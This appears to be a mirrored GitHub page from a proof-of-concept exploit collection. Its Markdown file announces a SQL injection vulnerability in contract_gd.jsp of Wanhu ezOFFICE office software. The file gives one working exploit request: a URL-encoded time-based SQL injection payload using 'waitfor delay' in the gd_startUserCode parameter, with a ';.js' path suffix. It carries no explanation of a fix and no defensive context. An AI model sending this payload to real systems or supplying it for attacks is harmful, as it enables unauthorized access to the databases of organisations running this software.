mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-07-29 14:04:06 +00:00
9 lines
199 B
Markdown
9 lines
199 B
Markdown
|
## 万户ezOFFICE-contract_gd.jsp存在SQL注入漏洞
|
||
|
|
|
||
|
|
|
||
|
|
## poc
|
||
|
|
```
|
||
|
|
/defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27--
|
||
|
|
```
|
||
|
|
|